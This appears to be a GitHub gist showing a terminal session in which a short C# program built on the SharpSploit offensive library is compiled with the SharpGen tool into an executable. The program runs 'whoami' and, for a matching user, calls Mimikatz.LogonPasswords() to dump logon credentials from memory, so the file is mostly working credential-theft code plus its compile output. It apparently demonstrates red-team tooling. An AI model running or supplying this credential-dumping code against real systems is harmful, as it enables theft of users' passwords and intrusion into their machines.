Created
November 6, 2018 15:54
-
-
Save cobbr/caf1153bafef0715c6ff80fc2f9c9d9e to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
cobbr@mac:~/SharpGen > cat example.txt | |
using System; | |
using SharpSploit.Execution; | |
using SharpSploit.Credentials; | |
class Program | |
{ | |
static void Main() | |
{ | |
string whoami = Shell.ShellExecute("whoami"); | |
if (whoami == "SomeUser") | |
{ | |
Console.WriteLine(Mimikatz.LogonPasswords()); | |
} | |
return; | |
} | |
} | |
cobbr@mac:~/SharpGen > dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe --source-file example.txt | |
... | |
[*] Compiled assembly written to: /Users/cobbr/SharpGen/Output/example.exe |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment